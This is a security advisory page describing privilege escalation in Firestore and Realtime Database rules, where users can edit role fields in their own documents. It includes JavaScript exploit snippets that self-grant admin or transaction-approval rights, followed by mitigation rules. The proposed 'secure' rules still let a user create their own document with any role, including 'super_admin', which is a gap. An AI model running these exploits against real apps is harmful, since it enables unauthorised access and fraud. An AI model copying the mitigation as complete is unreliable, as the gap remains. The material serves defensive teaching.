Skip to content

Firebase Security Vulnerability: FBR-LOGIC-003

Name: Firestore Privilege Escalation Through Self-Modifiable Access Control

Applicable Services: Cloud Firestore, Firebase Realtime Database

Description

Technical Vulnerability Overview

The Technical Flaw: Security rules that allow users to update their own documents without restricting which fields can be modified create privilege escalation vulnerabilities when those documents contain permission-controlling fields like roles or access levels.

Intended Behavior: Permission-controlling fields should be immutable to regular users or managed through separate admin-only collections. Role assignments should be handled by administrators or through server-side processes.

The Risk: Users can grant themselves elevated privileges by modifying their own role or permission fields, then use these elevated permissions to access restricted resources, administrative functions, or other users' sensitive data.

Impact

Potential Consequences

This vulnerability can lead to complete security compromise:

  • Complete Administrative Access: Users can grant themselves admin privileges and access all application functionality
  • Unauthorized Data Access: Elevated privileges can provide access to sensitive data across the entire application
  • System Manipulation: Admin-level access allows modification of critical application settings and other users' data
  • Audit Trail Corruption: Attackers with admin access can modify or delete security logs and audit records
  • Business Logic Bypass: Role-based restrictions on financial transactions, approval workflows, or content moderation can be bypassed
  • Compliance Violations: Unauthorized access to regulated data can result in legal and regulatory penalties

Example Attack Scenarios

Exploit Scenario: Regular User to Admin Privilege Escalation

The Vulnerable Rules:

match /users/{userId} {
  allow read, write: if request.auth.uid == userId;
}

match /admin_panel/{docId} {
  allow read: if get(/databases/$(database)/documents/users/$(request.auth.uid)).data.role == 'admin';
}

Attacker's Goal: To gain administrative access to the application by escalating from regular user privileges.

The Exploit: A regular user modifies their own user document to change their role:

// Attacker is logged in as a regular user
const currentUser = firebase.auth().currentUser;

// Step 1: Attacker modifies their own role in the user document
await db.collection('users').doc(currentUser.uid).update({
  role: 'admin',  // Escalating from 'user' to 'admin'
  isAdmin: true,  // Additional permission flags
  permissions: ['read', 'write', 'delete', 'admin']
});

// Step 2: Now access admin-only resources
const adminData = await db.collection('admin_panel').get();
console.log('Successfully accessed admin panel:', adminData.docs);

// Step 3: Access other users' private data
const allUsers = await db.collection('users').get();
console.log('Accessed all user data:', allUsers.docs.map(doc => doc.data()));

Outcome: The attacker successfully grants themselves admin privileges and can now access all administrative functions, view sensitive data, and potentially compromise the entire application.

Exploit Scenario: Financial Transaction Approval Bypass

The Vulnerable Rules:

match /users/{userId} {
  allow read, write: if request.auth.uid == userId;
}

match /transactions/{transactionId} {
  allow update: if get(/databases/$(database)/documents/users/$(request.auth.uid)).data.canApproveTransactions == true;
}

Attacker's Goal: To approve high-value financial transactions without proper authorization.

The Exploit: A regular employee escalates their privileges to approve transactions:

// Regular employee wants to approve a large transaction
const employeeUid = firebase.auth().currentUser.uid;

// Step 1: Grant themselves transaction approval privileges
await db.collection('users').doc(employeeUid).update({
  canApproveTransactions: true,
  approvalLimit: 1000000,  // Set unlimited approval limit
  department: 'finance'    // Change department for additional access
});

// Step 2: Approve unauthorized transactions
const pendingTransaction = 'high-value-transaction-123';
await db.collection('transactions').doc(pendingTransaction).update({
  status: 'approved',
  approvedBy: employeeUid,
  approvedAt: new Date(),
  amount: 500000  // Approve large sum
});

console.log('Successfully approved unauthorized transaction');

Outcome: The attacker bypasses financial controls and approves transactions they shouldn't have access to, potentially causing significant financial loss.

Mitigation

The vulnerability is resolved by implementing proper access controls that prevent users from modifying their own permission-related fields.

rules_version = '2';
service cloud.firestore {
  match /databases/{database}/documents {
    // VULNERABLE: Users can modify ANY field in their document
    match /users/{userId} {
      allow read, write: if request.auth.uid == userId;
    }

    // Access granted based on user-modifiable field
    match /admin_panel/{docId} {
      allow read: if get(/databases/$(database)/documents/users/$(request.auth.uid)).data.role == 'admin';
    }

    // Financial approvals based on user-modifiable field
    match /transactions/{transactionId} {
      allow update: if get(/databases/$(database)/documents/users/$(request.auth.uid)).data.canApproveTransactions == true;
    }
  }
}
rules_version = '2';
service cloud.firestore {
  match /databases/{database}/documents {
    // SECURE: Users can only modify non-permission fields
    match /users/{userId} {
      allow read: if request.auth.uid == userId;
      allow create: if request.auth.uid == userId;
      allow update: if request.auth.uid == userId &&
                     // Prevent modification of permission-controlling fields
                     request.resource.data.role == resource.data.role &&
                     request.resource.data.isAdmin == resource.data.isAdmin &&
                     request.resource.data.permissions == resource.data.permissions &&
                     request.resource.data.canApproveTransactions == resource.data.canApproveTransactions;
    }

    // Alternative: Separate admin-only permissions collection
    match /user_permissions/{userId} {
      allow read: if request.auth.uid == userId;
      allow write: if get(/databases/$(database)/documents/users/$(request.auth.uid)).data.role == 'super_admin';
    }

    // Access granted based on immutable fields or custom claims
    match /admin_panel/{docId} {
      allow read: if request.auth.token.admin == true ||
                   get(/databases/$(database)/documents/user_permissions/$(request.auth.uid)).data.role == 'admin';
    }

    // Use server-side verification for critical operations
    match /transactions/{transactionId} {
      allow update: if get(/databases/$(database)/documents/user_permissions/$(request.auth.uid)).data.canApproveTransactions == true &&
                     resource.data.amount <= get(/databases/$(database)/documents/user_permissions/$(request.auth.uid)).data.approvalLimit;
    }
  }
}

Security Best Practices for Role Management

Immutable Permission Fields: The secure rules prevent users from modifying critical fields like role, isAdmin, and permissions by comparing the existing and new values.

Separate Permissions Collection: Creating a dedicated user_permissions collection that only admins can write to provides better security isolation.

Firebase Auth Custom Claims: For the highest security, use Firebase Authentication custom claims instead of Firestore documents for role management:

// Server-side only (Admin SDK)
admin.auth().setCustomUserClaims(uid, { admin: true, role: 'admin' });

Key Security Principles: - Principle of Least Privilege: Users should only be able to modify fields they legitimately need to change - Separation of Concerns: Keep permission management separate from user profile data - Server-Side Control: Critical permission changes should require server-side validation - Audit Logging: Track all permission changes for security monitoring

References